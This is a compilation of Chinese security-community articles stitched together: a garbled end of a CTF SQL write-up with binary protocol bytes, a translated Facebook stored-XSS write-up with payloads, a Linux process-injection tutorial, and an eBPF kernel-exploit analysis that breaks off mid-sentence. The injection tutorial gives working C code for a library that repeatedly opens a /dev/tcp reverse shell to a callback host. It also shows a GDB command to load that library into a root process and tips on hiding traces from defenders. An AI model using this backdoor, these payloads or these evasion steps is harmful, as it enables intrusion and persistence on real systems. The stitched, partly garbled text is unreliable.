REFERENCESD;♣♣inctfgosqlv3♠publicmd_execTRIGGERD@♣
honeysinghgosqlv3♠public inctf2020♠SELECTC♫SELECT 29Z♣I
查询它将获取flag
L> SELECT * FROM cmd_exec
<!DOCTYPE html>
<html>
<head><title>SomeTimes hard chall is good</title></head>
<body>
<h2>Welcome Back!!! admin !!!</h2>
<h3>You have one functionality that you can cURL</h3>
<form method=POST>
put url : <input type="text" name="url">
<button type="submit">GO</button>
</form>
</body>
</html>
S→application_namepsqlS↓client_encodingUTF8S↨DateStyleISO, MDYS↓integer_datetimesonSntervalStylepostgresS§is_superuseroffS↓server_encodingUTF8S→server_version9.5.21S%session_authorizationhoneysinghS#standard_conforming_stringsonS§TimeZoneEtc/UTCK♀ [qi�↕Z♣IT#☺cmd_output☺�♥☺↓������DM☺CFLAG: inctf{Life_Without_Gopherus_not_having_postgreSQL_exploit_:(}D
SELECT 2Z♣I
显然，这不是预期获取flag的方法。因为SpyD3r在他的官方的[writeup](https://spyclub.tech/2020/08/02/inctf2020-gosqlv3-challenge-writeup/)中写到："The GoSQLv3 challenge got 8 solves but I would say the only one
full solve that was RCE by the EpicLeetTeam(Congratulations for the first
blood) but mistakenly the team has saved the flag on one of the table and most
of the team just read the flag from that table."
但是，我觉得实际上是这样，因为用户不是超级管理员，也无法从程序或文件复制或Copy to。
但是，SpyD3r分享了如何从具有特权的表中获取特权，如何上载库并以系统用户身份执行命令。但是，因为表名是cmd_exec（这就是每个PostgreSQL速查表中显示的名称），也许使用该set
role技巧就足以从程序中[复制](https://www.postgresql.org/docs/9.5/sql-copy.html)并读取flag。
最后，我要感谢[Tarunkant](https://twitter.com/TarunkantG)（aka
SpyD3r）的支持，因为我喜欢挑战的每一部分并学到了很多东西！同时也要感谢[teambi0](https://twitter.com/teambi0s)的CTF。
希望您喜欢它，或者至少学到了一些东西！
[Jorge](https://0xdf.gitlab.io/2020/05/12/ngrok-ftw.html)
原文地址：<https://jorgectf.gitlab.io/post/inctf-gosqlv3/> | 社区文章 |
原文来自[安全客](https://www.anquanke.com/post/id/101419 "安全客") 译者：fnmsd00
原文：[《Stored XSS on Facebook》](https://opnsec.com/2018/03/stored-xss-on-facebook/ "《Stored XSS on Facebook》")
#### 介绍
我在2017年4月报告了多个FaceBook
wall上的存储型XSS。这些存储型XSS漏洞也出现在WordPress中，所以我在发布这篇文章之前等待WordPress进行修补。这些漏洞现已在WordPress上修复！
这些XSS有点复杂，因为它们需要多个步骤，但是每一步本身都很容易理解。
#### Open Graph协议
当您在Facebook帖子中添加URL时，Facebook将使用[Open Graph协议](http://ogp.me/ "Open Graph协议")
（[FB doc](https://developers.facebook.com/docs/sharing/webmasters/ "FB
doc")）显示丰富的内容。以下是关于Facebook如何使用OG在FB帖子中嵌入外部内容的大致流程：
1. 攻击者在FB帖子上发布URL
2. FB服务器读取URL（服务器端）并读取OG meta标签中提取有关URL内容的信息（例如，内容是带有标题，封面图像，视频编码类型和视频文件URL的视频）
3. 受害者查看带有封面图片和播放按钮FB帖子
4. 当受害者点击播放按钮时，视频会使用从OG元标记中提取的视频信息加载。（XSS将在这里执行）
许多网站也使用OG工作流，包括Twitter和WordPress等。
步骤#2很敏感：服务器端读取用户提供的URL，这通常会导致SSRF。
如果托管网站在敏感网页上使用X-Frame-Options：SAMEORIGIN并允许攻击者在同一子域中注入任意iframe，则会造成潜在的点击劫持漏洞。
FB不容易受到这些问题的影响
有趣的部分在步骤#4：在受害者点击播放按钮后，FB加载视频时。首先，FB会发送一个XHR请求来获取视频类型和视频文件URL，它们都是由攻击者在ogvideo：type（我们称之为ogVideoType）和og：video：secure_url（ogVideoUrl
）由攻击者发布的URL的标签。以下是OG元标记的示例：
<!DOCTYPE html>
<html>
<head>
<meta property="og:video:type" content="video/flv">
<meta property="og:video:secure_url" content='https://example.com/video.flv'>
<meta property="og:video:width" content="718">
<meta property="og:video:height" content="404">
<meta property="og:image" content="https://example.com/cover.jpg">
(...)
</head>
<body>
(...)
</body>
</html>
If ogVideoType is “iframe” or “swf player” then FB loads an external iframe
and doesn’t handle the playing of the video. Otherwise, FB was using
[MediaElement.js](http://www.mediaelementjs.com/ "MediaElement.js") to handle
the loading of the video directly on facebook.com. I already reported and
[disclosed vulnerabilities](https://opnsec.com/2017/10/flashme-wordpress-vulnerability-disclosure-cve-2016-9263/ "disclosed vulnerabilities") on the
Flash component of ME.js on both Facebook and WordPress.
如果ogVideoType是“iframe”或“swf
player”，则FB会加载一个外部iframe并且不处理该视频的播放，而是直接使用[MediaElement.js](http://www.mediaelementjs.com/
"MediaElement.js")在facebook.com上处理视频加载。我已经报告并[披露](https://opnsec.com/2017/10/flashme-wordpress-vulnerability-disclosure-cve-2016-9263/ "披露")了ME.js的Flash组件在Facebook
和WordPress上的[漏洞](https://opnsec.com/2017/10/flashme-wordpress-vulnerability-disclosure-cve-2016-9263/ "漏洞")。
##### 1.使用FlashMediaElement.swf造成的存储型XSS
MediaElements.js根据ogVideoType会有多种播放视频的方式。
如果ogVideoType是“video /
flv”（flash视频），则Facebook在facebook.com上加载Flash文件FlashMediaElement.swf（使用标签），并将ogVideoUrl传递到FlashME.swf进行视频播放。FlashME.swf然后将日志信息发送到facebook.com（使用Flash-to-JavaScript）关于“视频播放”或“视频结束”等事件。FlashME.swf正确处理了Flash-to-JavaScript的通信，特别是被正确转义为\以避免XSS。
但是，发送的JavaScript代码是：
setTimeout('log("[VIDEO_URL]")', 0)
在Javascript中setTimeout与eval类似，它会将字符串转换为指令，使其非常危险
[VIDEO_URL]由攻击者控制，它是ogVideoUrl的值。如果它包含“例如
http://evil.com/video.flv?"[payload]
Flash会将以下指令发送给javascript：
setTimeout("log("http://evil.com/video.flv?"payload")", 0);
如您所见，“ in video.flv？”payload已正确转义，因此攻击者无法逃离setTimeout函数。
但是，当JavaScript执行setTimeout函数时，它将执行以下JavaScript指令：
log("http://evil.com/video.flv?"[payload]")
而这次“不再逃脱，攻击者可以注入XSS！
现在的问题是，Facebook在将ogVideoUrl传递给FlashME.swf之前是否会转义l。
首先，Facebook
JavaScript向Facebook服务器发送XHR请求以获取ogVideoType和ogVideoUrl的值。ogVideoUrl的值是正确编码的，但它可以包含任何特殊字符，例如：
https://evil.com?"'<
然后，在发送到Flash之前，ogVideoUrl进行了如下转换：
function absolutizeUrl(ogVideoUrl) {
var tempDiv = document.createElement('div');
tempDiv.innerHTML = '<a href="' + ogVideoUrl.toString().split('"').join('"') + '">x</a>';
return tempDiv.firstChild.href;
}flashDiv.innerHTML ='<embed data-original="FlashME.swf?videoFile=' + encodeURI(absolutizeUrl(ogVideoUrl )) +'" type="application/x-shockwave-flash">';
absolutizeUrl（ogVideoUrl）的结果
在发送到Flash之前进行了URL编码，但当Flash接收到数据时，它会自动对其进行URL解码，因此我们可以忽略encodeURI指令。
absolutizeUrl使用当前的javascript上下文的协议和域(Domain)来将相对URL转换为绝对URL（如果提供了绝对URL，则返回它几乎不变）。这似乎是“哈克”，但它看起来足够安全和简单，因为我们让浏览器做了艰苦的工作。但当存在特殊字符编码时，这并不简单。
当最初分析这段代码时，我使用的是Firefox，因为它有很棒的扩展，比如Hackbar，Tamper Data和Firebug！
在Firefox中，如果你尝试
absolutizeUrl('http://evil.com/video.flv#"payload')
它会返回
http://evil.com/video.flv#%22payload
所以我被难住了，因为在Facebook中，由Flash发送的JavaScript指令会是
setTimeout("log("http://evil.com/video.flv?%22payload")", 0);
这将导致
log("http://evil.com/video.flv?%22[payload]")
这不是一个XSS。
然后我尝试了Chrome和
absolutizeUrl('http://evil.com/video.flv#"payload')
返回：
http://evil.com/video.flv#"payload
和 o / YEAH !!!!!
现在Flash发送
setTimeout("log("http://evil.com/video.flv?"payload")", 0);
到Facebook的JavaScript和哪些将导致
log("http://evil.com/video.flv?"[payload]")
所以如果ogVideoUrl设置为
http://evil.com/video.flv#"+alert(document.domain+" XSSed!")+"
那么Facebook将执行
log("http://evil.com/video.flv?"+alert(document.domain+" XSSed!")+"")
并会显示一个不错的小警告框，说“facebook.com XSSed！” ?
这是由于浏览器解析URL时，不同的浏览器在特殊字符编码上有所不同：
Firefox将对URL中出现的任何双引号(“)进行URL编码
Chrome浏览器（最高版本为64）将除了URL
的hash部分（=fragment）外的双引号(“)进行URL编码。（请注意：在Chrome的最新版本65中，此行为已更改，现在Chrome的行为与Firefox相同，在hash中的双引号（”）也会进行编码）
IE和Edge将不会URL编码在hash部分或者URL 的搜索部分（=query）中的双引号
Safari将不会URL编码在hash部分的双引号(“)
正如你所看到的让浏览器决定如何在JavaScript代码中的URL中进行特殊字符编码并不是很好！
我立即将此漏洞报告给Facebook，他们在第二天回复并告诉我他们修改了Flash文件，以便它不再使用setTimeout，Flash现在会发送
log("http://evil.com/video.flv?"payload")
正如你所看到的“正确地转义到”，所里这里不再有XSS。
##### 2.无Flash存储XSS
上面的的XSS需要Flash，所以我检查这里能否有一个不使用Flash的payload。
如果ogVideoType是“video / vimeo”，则会执行以下代码
ogVideoUrl = absolutizeUrl(ogVideoUrl);ogVideoUrl = ogVideoUrl.substr(ogVideoUrl.lastIndexOf('/') + 1);playerDiv.innerHTML = '<iframe data-original="https://player.vimeo.com/video/' + ogVideoUrl + '?api=1"></iframe>';
正如你可以看到
absolutizeUrl（ogURL）在注入playerDiv.innerHTML之前没有被urlencoded，所以当ogVideoUrl设置为
http://evil.com/#" onload="alert(document.domain)"
playerDiv.innerHTML则会变为：
<iframe data-original="https://player.vimeo.com/video/#" onload="alert(document.domain)" ?api=1"></iframe>
这又是Facebook.com上的XSS！
我在前一个XSS被修复的同一天报道了这一点，Facebook在同一天用如下方法修复了漏洞：
ogVideoUrl = absolutizeUrl(ogVideoUrl);ogVideoUrl = ogVideoUrl.substr(ogVideoUrl.lastIndexOf('/') + 1);playerDiv.innerHTML = '<iframe data-original="https://player.vimeo.com/video/' + ogVideoUrl.split('"').join('"') + '?api=1"></iframe>'
以下是这个XSS的视频：
第二天，我发现了另一个易受攻击的点：当ogVideoType是未知的类型，比如“video /
nothing”时，Facebook会显示一条包含ogVideoUrl链接的错误消息，如下所示：
errorDiv.innerHTML = '<a href="' +absolutizeUrl(ogVideoUrl ) + '">'
所以ogVideoUrl 的payload设置为
https://opnsec.com/#"><img/src="xxx"onerror="alert(document.domain)
errorDiv.innerHTML则会变为：
<a href="https://opnsec.com/#"><img data-original="xxx" onerror="alert(document.domain)">
我把它报告给了Facebook，非常欢乐的是，来自Facebook的白帽子Neil告诉我，他计划在第二天检查这些代码！
##### 哦，还有一件事…
另一种可能的ogVideoType是“silverlight”。[Silverlight](https://www.microsoft.com/silverlight/
"Silverlight") 是微软公司的浏览器插件，它能与VBscript交互，就像Flash和JavaScript交互。
在Facebook（silverlightmediaelement.xap）上托管的silverlight文件是这样加载的：
params = ["file=" + ogVideoUrl, "id=playerID"];silverlightDiv.innerHTML ='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param name="initParams" value="' + params.join(',').split('"').join('"') + '" /></object>';
silverlightmediaelement.xap然后会发送日志信息到Facebook的JavaScript（这点有点像Flash），但这次它不包含ogVideoUrl，但只有player
ID，这是另一个在initParams中发送由Facebook定义的参数。Silverlight会调用javascript函数[id] _init（）
，其中[id]是“playerID”。
在Silverlight中，参数不是由 URLs或Flash中的＆所分隔，而是通过逗号(,)
如果ogVideoUrl 包含一个逗号( ，)那么在这个逗号后面的每一个东西都将被silverlight视为另一个参数，这意味着使用有效载荷
https://opnsec.com/#,id=alert(document.domain)&
然后silverlight像这样加载：
silverlightDiv.innerHTML ='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param name="initParams" value="file=https://opnsec.com/#,id=alert(document.domain)&,id=playerID" /></object>';
Silverlight将仅考虑id的第一次出现，并将其值设置为
alert(document.domain)&
然后Silverlight将调用以下javascript：
alert(document.domain)&_init()
这意味着再次 XSS！
我在同一天进行了提交，Neal回复说他们将删除所有MediaElement组件，并用一种处理外部视频的新方式替换它！
##### 那么WordPress呢？
所有这些存在问题的代码都不是由Facebook开发的，他们使用了可以将视频嵌入到网页中
[MediaElementjs](http://www.mediaelementjs.com/ "MediaElementjs")
库，它是一个流行的（现在依旧是，尤其是因为它们具有支持旧版浏览器的Flash后备功能）开源模块。特别是，WordPress在处理[短代码](https://codex.wordpress.org/Shortcode_API
"短代码")时默认使用这个模块。这些漏洞也存在于WordPress中，并能够在WordPress评论或作者写的WordPress文章中写入存储XSS（在WordPress中，作者角色不允许执行JavaScript）。
我向WordPress报告了漏洞，几个月之前我已经报告过[其他漏洞](https://opnsec.com/2017/10/flashme-wordpress-vulnerability-disclosure-cve-2016-9263/ "其他漏洞")
。他们向MediaElementjs团队通报了这一消息，并告诉我他们正在进行修复。在2018年2月，他们终于发布了与MediaElementjs相关的所有XSS的修复程序。
#### 结论
我学到了很多东西，并且发现这些漏洞非常有趣。我希望你也喜欢它！
以下是一些建议：
Open Graph（以及像json-ld这样的替代品）是在网站上显示丰富的外部内容的好方法，但你应该小心使用（认为SSRF，XSS和Clickjacking）
不要让浏览器在您的JavaScript代码中为您解析URL，每个浏览器都以自己的方式处理它，并且浏览器可以随时更改其行为（如Chrome 64 – >
65）。应该改为使用白名单正则表达式。
现在的自动工具不会检测到使用XHR，DOM突变和外部内容的复杂动态XSS。所以即使是最安全，最有影响力的网站也可能会受到攻击。代码审查和调试是实现这些目标的方法！
不要害怕大的、压缩过、动态的JavaScript源代码。如果您在网站上发现一些潜在的危险功能，您可以放轻松的检查它是如何实现的。
Facebook WhiteHat是一个非常好的漏洞奖励计划！感谢Neal及其团队
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
原文：<https://magisterquis.github.io/2018/03/11/process-injection-with-gdb.html>
在本文中，我们将为读者介绍如何在Linux中轻松实现进程注入的方法。目前，网上流传的进程注入技术，通常都会用到[ptrace(2)](https://github.com/gaffe23/linux-inject "ptrace\(2\)")或[LD_PRELOAD](https://www.datawire.io/code-injection-on-linux-and-macos/
"LD_PRELOAD")，但是这些都无法满足我的要求，因为我想要使用一些更简单、更不容易出错的技术，当然，易用性可能是以灵活性、工作效率和通用性为代价的。接下来，我们将为读者讲解如何通过GDB和共享对象文件（即程序库）来实现进程注入。
GDB是一种GNU调试器，常用于“逮住”一个正在运行的进程以进行调试，同时，它还提供了一个有趣的特性：可以让处于调试中的进程调用库函数。为了将程序库加载到程序中，可以使用下面两个函数：liblo的dlopen(3)函数和libc提供的
**libc_dlopen_mode函数。在这里，我们使用的是** libc_dlopen_mode，因为它不要求为主机进程链接libdl。
原则上，我们可以先加载程序库，然后让GDB调用其中的函数。但是，更简单的做法是，使用另一个线程通过程序库的构造函数来完成需要手动执行的所有操作，以将进程的“停摆”时间降到最低。
**注意事项**
需要注意的是，虽然本文介绍的方法简单易用，但是凡事有利就有弊——它在灵活性、通用性和注入方式方面存在一些限制。当然，在实践中这些都不是什么大的问题，不过，下面几个事项还是需要认真对待的。
**ptrace(2)**
为了附加进程，我们需要使用ptrace(2)来，换句话说，我们需要用到GDB。一般来说，超级用户通常可以做到这一点，但作为普通用户，我们只能附加到隶属于自己的进程上。为安全性起见，有些系统只允许进程附加到其子进程上，对于这种情况，虽然可以通过修改sysctl取消这种限制，但是，要想修改sysctl的话，则要求具有root权限，所以这种方式在实战中意义不是很大。
sysctl kernel.yama.ptrace_scope=0
# or
echo 0 > /proc/sys/kernel/yama/ptrace_scope
一般来说，最好以root身份执行上述操作。
**“停摆”的进程**
当GDB连接到一个进程时，该进程就会停止运行。因此，最好事先编好脚本，让脚本来执行相应的GDB的操作，并使用-x和--batch选项，或联合使用echo和GDB命令，以最大限度地减少进程的停止时间。如果由于某种原因，GDB在退出时没有重新启动进程的话，那么可以向进程发送SIGCONT信号，这样就可以重新启动该进程了。
kill -CONT <pid></pid>
**进程之死**
程序库一旦加载并运行后，任何能够导致该库出错的东西（例如segfaults）都会影响到整个进程。同样，如果程序库向output文件写消息或将消息发送到syslog的话，显示的消息来源为进程，而非程序库。所以，利用注入的程序库作为加载程序，然后在新进程中启动真正的恶意软件是一个非常不错的方法。
**进入正题**
介绍完需要注意的事项之后，下面进入正题——如何利用GDB实现进程注入。我们假设这里是通过ssh访问目标系统的，但从理论角度来说，这些过程都可以（应该）实现脚本化，然后通过shell/sql/文件注入或任何其他方法运行这些脚本即可。
**选择进程**
第一步是找到要注入的进程。为此，可以查看进程列表，具体命令如下所示：
root@ubuntu-s-1vcpu-1gb-nyc1-01:~# ps -fxo pid,user,args | egrep -v ' \[\S+\]$'
PID USER COMMAND
1 root /sbin/init
625 root /lib/systemd/systemd-journald
664 root /sbin/lvmetad -f
696 root /lib/systemd/systemd-udevd
1266 root /sbin/iscsid
1267 root /sbin/iscsid
1273 root /usr/lib/accountsservice/accounts-daemon
1278 root /usr/sbin/sshd -D
1447 root \_ sshd: root@pts/1
1520 root \_ -bash
1538 root \_ ps -fxo pid,user,args
1539 root \_ grep -E --color=auto -v \[\S+\]$
1282 root /lib/systemd/systemd-logind
1295 root /usr/bin/lxcfs /var/lib/lxcfs/
1298 root /usr/sbin/acpid
1312 root /usr/sbin/cron -f
1316 root /usr/lib/snapd/snapd
1356 root /sbin/mdadm --monitor --pid-file /run/mdadm/monitor.pid --daemonise --scan --syslog
1358 root /usr/lib/policykit-1/polkitd --no-debug
1413 root /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
1415 root /sbin/agetty --noclear tty1 linux
1449 root /lib/systemd/systemd --user
1451 root \_ (sd-pam)
在列出的这些进程中，有一些不错的选择对象。在理想情况下，最好选择那些需要长期运行进程，因为这些进程通常不会被人终止。一般情况下，选择的进程的pids值越低越好，因为这个值越低，代表运行的时间越早，换句话说，没有人知道这些进程一旦被杀死会出现什么后果。另外，在进行进程注入的时候，最好以root身份进行，这样就不用担心权限不足的问题了。当然，最理想的注入目标就是那些既没有人想要终止它，而杀死它也不会带来任何影响的进程。
在某些情况下，如果注入的代码只需要运行很短的时间（例如检测输入框，获取凭证然后离开），或者如果大概率需要以很艰难的方式停止的话，那么以普通用户身份运行、运行时间较短的、可杀死的进程就是不错的注入目标。所以，我们要根据具体的情况进行取舍。
本例中，我们将使用664 root/sbin/lvmetad
-f。因为我们想做的任何事情，都可以借助它来完成，并且如果出现问题，也可以重新启动它，所以用起来还是很方便的。
**恶意软件**
实际上，我们几乎可以注入任何的Linux共享对象文件。作为演示，这里将使用一个小文件，但我曾经注入过一个大小为好几M的后门软件（用Go编写）。需要说明的是，本文中的许多操作都是借助[pcapknock](https://github.com/magisterquis/pcapknock
"pcapknock")完成的。
此外，为简洁起见，很多错误处理已被忽略。现实中，要想从注入库的构造函数获得有意义的错误输出的话，直接使用warn("something");
return;是不太可能的，因为事情远没有这么简单，除非你完全信任受害者进程给出的标准错误信息。
#include <pthread.h>
#include <stdlib.h>
#include <unistd.h>
#define SLEEP 120 /* Time to sleep between callbacks */
#define CBADDR "<REDACTED>" /* Callback address */
#define CBPORT "4444" /* Callback port */
/* Reverse shell command */
#define CMD "echo 'exec >&/dev/tcp/"\
CBADDR "/" CBPORT "; exec 0>&1' | /bin/bash"
void *callback(void *a);
__attribute__((constructor)) /* Run this function on library load */
void start_callbacks(){
pthread_t tid;
pthread_attr_t attr;
/* Start thread detached */
if (-1 == pthread_attr_init(&attr)) {
return;
}
if (-1 == pthread_attr_setdetachstate(&attr,
PTHREAD_CREATE_DETACHED)) {
return;
}
/* Spawn a thread to do the real work */
pthread_create(&tid, &attr, callback, NULL);
}
/* callback tries to spawn a reverse shell every so often. */
void *
callback(void *a)
{
for (;;) {
/* Try to spawn a reverse shell */
system(CMD);
/* Wait until next shell */
sleep(SLEEP);
}
return NULL;
}
简而言之，这样一来，每隔几分钟便会生成一个未加密的、未经身份验证的反向shell，并连接到硬编码的地址和端口。将 **attribute**
((constructor))
应用于start_callbacks()后，它就可以在加载该程序库时运行了。所有start_callbacks()都会生成一个线程，以创建反向shell。
程序库与普通C程序的编译过程类似，只是必须给编译器提供-fPIC和-shared选项。
cc -O2 -fPIC -o libcallback.so ./callback.c -lpthread -shared
我们可以用-O2选项来优化输出，这样可以降低CPU时间的开销。当然，在现实情况中，注入的程序库肯定会比这个例子要复杂得多。
**完成注入**
现在，我们已经创建了可注入的程序库，接下来还有许多事情需要处理。首先要做的就是启动一个监听器来捕获回调：
nc -nvl 4444 #OpenBSD netcat ftw!
____libc_dlopen_mode需要两个参数，即程序库的路径和标志（实际上就是一个整数）。其中，程序库的路径是可见的，所以最好把它放到不显眼的地方，比如/
usr/lib。此外，这里将使用整数2作为标志，因为这正好对应于dlopen(3)的RTLD_NOW。为了使GDB让这个进程运行该函数，可以使用GDB的print命令，以方便取函数的返回值。此外，不要将该命令输入GDB，因为这样太费时间，相反，我们可以将它回显到GDB的标准输入中。这样做的另一个好处是，它会引起GDB退出，这样就省得使用quit命令了。
root@ubuntu-s-1vcpu-1gb-nyc1-01:~# echo 'print __libc_dlopen_mode("/root/libcallback.so", 2)' | gdb -p 664
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
...snip...
0x00007f6ca1cf75d3 in select () at ../sysdeps/unix/syscall-template.S:84
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) [New Thread 0x7f6c9bfff700 (LWP 1590)]
$1 = 312536496
(gdb) quit
A debugging session is active.
Inferior 1 [process 664] will be detached.
Quit anyway? (y or n) [answered Y; input not from terminal]
Detaching from program: /sbin/lvmetad, process 664
检查netcat时，发现已经捕获到了回调：
[stuart@c2server:/home/stuart]
$ nc -nvl 4444
Connection from <REDACTED> 50184 received!
ps -fxo pid,user,args
...snip...
664 root /sbin/lvmetad -f
1591 root \_ sh -c echo 'exec >&/dev/tcp/<REDACTED>/4444; exec 0>&1' | /bin/bash
1593 root \_ /bin/bash
1620 root \_ ps -fxo pid,user,args
...snip...
很好，我们已经控制了另一个进程的执行流了。
如果注入失败，我们将看到$1 = 0，这说明__libc_dlopen_mode的返回值为NULL。
**攻击踪迹**
实际上，防御方可以从多个地方检测到这种攻击。就算我们将暴露的风险降到最低，但如果没有Rootkit的帮助的话，总是会露出一点尾巴的。当然，最好的隐蔽方式就是不要引起人们的怀疑。
**进程清单**
通过查看之前进程列表，读者会发现被注入恶意软件的进程还有一些子进程。为了避免这种情况，要么让程序库doule-fork出一个子进程来完成实际的工作，要么让注入的程序库完成受害进程内的所有任务。
**磁盘文件**
加载的程序库必须从磁盘上启动，这不仅会在磁盘上留下攻击痕迹，同时，程序库的原始路径也将暴露在/proc/pid/maps中：
root@ubuntu-s-1vcpu-1gb-nyc1-01:~# cat /proc/664/maps
...snip...
7f6ca0650000-7f6ca0651000 r-xp 00000000 fd:01 61077 /root/libcallback.so
7f6ca0651000-7f6ca0850000 ---p 00001000 fd:01 61077 /root/libcallback.so
7f6ca0850000-7f6ca0851000 r--p 00000000 fd:01 61077 /root/libcallback.so
7f6ca0851000-7f6ca0852000 rw-p 00001000 fd:01 61077 /root/libcallback.so
...snip...
如果删除了这个库，字符串(deleted)就会被添加到文件名尾部（即/root/libcallback.so
(deleted)），当然，这看起来确实有点怪异。不过，通过将该程序库存放到常见程序库（如/usr/lib）所在的目录，并将其名称改得正规一点的话，情况就会有所好转。
**服务中断**
加载程序库会不仅会暂停正在运行的进程，并且如果程序库引发进程不稳定的话，还可能会导致进程崩溃，至少会导致系统记录相应的警告消息（所以，请勿注入systemd(1)进程，因为这会引发段错误，进而导致shutdown(8)，将机器挂起）。
**小结**
在Linux系统中完成进程注入其实非常简单，只需两步：
* 用构造函数编写一个程序库（共享对象文件）。
* 用echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p <pid>命令加载该程序库。</pid> | 社区文章 |
作者：Cradmin@Tencent Blade Team
来源：[腾讯安全应急响应中心](https://security.tencent.com/index.php/blog/msg/124?from=timeline&isappinstalled=0
"腾讯安全应急响应中心")
#### 0x01 背景
中国武术博大精深，其中太极作为不以拙力胜人的功夫备受推崇。同样如果从攻击的角度窥视漏洞领域，也不难看出攻防之间的博弈不乏“太极”的身影，轻巧稳定易利用的漏洞与工具往往更吸引黑客，今天笔者要着墨分析的就是这样一个擅长“四两拨千斤”的0day漏洞。
0day漏洞的攻击威力想必大家都听说过，内核0day更因为其影响范围广，修复周期长而备受攻击者的青睐。近期，国外安全研究者Vitaly
Nikolenko在twitter[1]上公布了一个Ubuntu
16.04的内核0day利用代码[2]，攻击者可以无门槛的直接利用该代码拿到Ubuntu的最高权限(root)；虽然只影响特定版本，但鉴于Ubuntu在全球拥有大量用户，尤其是公有云用户，所以该漏洞对企业和个人用户还是有不小的风险。
笔者对该漏洞进行了技术分析，不管从漏洞原因还是利用技术看，都相当有代表性，是Data-Oriented
Attacks在linux内核上的一个典型应用。仅利用传入的精心构造的数据即可控制程序流程，达到攻击目的，完全绕过现有的一些内存防护措施，有着“四两拨千斤”的效果
。
#### 0x02 漏洞原因
这个漏洞存在于Linux内核的eBPF模块，我们先来简单了解下eBPF。
eBPF(extended Berkeley Packet
Filter)是内核源自于BPF的一套包过滤机制，严格来说，eBPF的功能已经不仅仅局限于网络包过滤，利用它可以实现kernel
tracing，tracfic
control，应用性能监控等强大功能。为了实现如此强大的功能，eBPF提供了一套类RISC指令集，并实现了该指令集的虚拟机，使用者通过内核API向eBPF提交指令代码来完成特定的功能。
看到这里，有经验的安全研究者可能会想到，能向内核提交可控的指令代码去执行，很可能会带来安全问题。事实也确实如此，历史上BPF存在大量漏洞[3]。关于eBPF的更多细节，可以参考这里[4][5]。
eBPF在设计时当然也考虑了安全问题，它在内核中实现了一套verifier机制，过滤不合规的eBPF代码。然而这次的漏洞就出在eBPF的verifier机制。
从最初Vitaly Nikolenko公布的补丁截图，我们初步判断该漏洞很有可能和CVE-2017-16995是同一个漏洞洞[6]，但随后有2个疑问：
1. CVE-2017-16995在去年12月份，内核4.9和4.14及后续版本已经修复，为何Ubuntu使用的4.4版本没有修复？
2. CVE-2017-16995是Google Project Zero团队的Jann Horn发现的eBPF漏洞，存在于内核4.9和4.14版本[7]，作者在漏洞报告中对漏洞原因只有简短的描述，跟本次的漏洞是否完全相同？
注：笔者所有的代码分析及调试均基于Ubuntu 14.04，内核版本为4.4.0-31-generic #50~14.04.1-Ubuntu[8]。
先来回答第二个问题，中间的调试分析过程在此不表。
参考以下代码，eBPF的verifer代码(kernel/bpf/verifier.c)中会对ALU指令进行检查(check_alu_op)，该段代码最后一个else分支检查的指令是：
1. BPF_ALU64|BPF_MOV|BPF_K，把64位立即数赋值给目的寄存器；
2. BPF_ALU|BPF_MOV|BPF_K，把32位立即数赋值给目的寄存器；
但这里并没有对2条指令进行区分，直接把用户指令中的立即数insn->imm赋值给了目的寄存器，insn->imm和目的寄存器的类型是integer，这个操作会有什么影响呢？
我们再来看下，eBPF运行时代码(kernel/bpf/core.c)，对这2条指令的解释是怎样的(`__bpf_prog_run`)。
参考以下代码，上面2条ALU指令分别对应`ALU_MOV_K`和`ALU64_MOV_K`，可以看出verifier和eBPF运行时代码对于2条指令的语义解释并不一样，DST是64bit寄存器，因此`ALU_MOV_K`得到的是一个32bit
unsigned integer，而`ALU64_MOV_K`会对imm进行sign extension，得到一个signed 64bit integer。
至此，我们大概知道漏洞的原因，这个逻辑与CVE-2017-16995基本一致，虽然代码细节上有些不同(内核4.9和4.14对verifier进行了较大调整)。但这里的语义不一致又会造成什么影响？
我们再来看下vefier中以下代码(`check_cond_jmp_op`)，这段代码是对BPF_JMP|BPF_JNE|BPF_IMM指令进行检查，这条指令的语义是：如果目的寄存器立即数==指令的立即数(insn->imm)，程序继续执行，否则执行pc+off处的指令；注意判断立即数相等的条件，因为前面ALU指令对32bit和64bit
integer不加区分，不论imm是否有符号，在这里都是相等的。
再看下eBPF运行时对BPF_JMP|BPF_JNE|BPF_IMM指令的解释(__bpf_prog_run)，显然当imm为有符合和无符号时，因为sign
extension，DST!=IMM结果是不一样的。
注意这是条跳转指令，这里的语义不一致后果就比较直观了，相当于我们可以通过ALU指令的立即数，控制跳转指令的逻辑。这个想象空间就比较大了，也是后面漏洞利用的基础，比如可以控制eBPF程序完全绕过verifier机制的检查，直接在运行时执行恶意代码。
值得一提的是，虽然这个漏洞的原因和CVE-2017-16995基本一样，但但控制跳转指令的思路和CVE-2017-16995中Jann
Horn给的POC思路并不一样。感兴趣的读者可以分析下，CVE-2017-16995中POC，因为ALU sign
extension的缺陷，导致eBPF中对指针的操作会计算不正确，从而绕过verifier的指针检查，最终读写任意kernel内存。但这种利用方法，在4.4的内核中是行不通的，因为4.4内核的eBPF不允许对指针类型进行ALU运算。
到这里，我们回过头来看下第一个问题，既然漏洞原因一致，为什么Ubuntu 4.4的内核没有修复该漏洞呢？
和Linux kernel的开发模式有关。
Linux kernel分mainline，stable，longterm
3种版本[9]，一般安全问题都会在mainline中修复，但对于longterm，仅会选择重要的安全补丁进行backport，因此可能会出现，对某个漏洞不重视或判断有误，导致该漏洞仍然存在于longterm版本中，比如本次的4.4
longterm，最初Jann Horn并没有在报告中提到影响4.9以下的版本。
关于Linux
kernel对longterm版本的维护，争论由来已久[10]，社区主流意见是建议用户使用最新版本。但各个发行版(比如Ubuntu)出于稳定性及开发成本考虑，一般选择longterm版本作为base，自行维护一套kernel。
对于嵌入式系统，这个问题更严重，大量厂商代码导致内核升级的风险及成本都远高于backport安全补丁，因此大部分嵌入式系统至今也都在使用比较老的longterm版本。比如Google
Android在去年Pixel /Pixel XL 2发布时，内核版本才从3.18升级到4.4，原因也许是3.18已经进入EOL了(End of
Life)，也就是社区要宣布3.18进入死亡期了，后续不会在backport安全补丁到3.18，而最新的mainline版本已经到了4.16。笔者去年也在Android
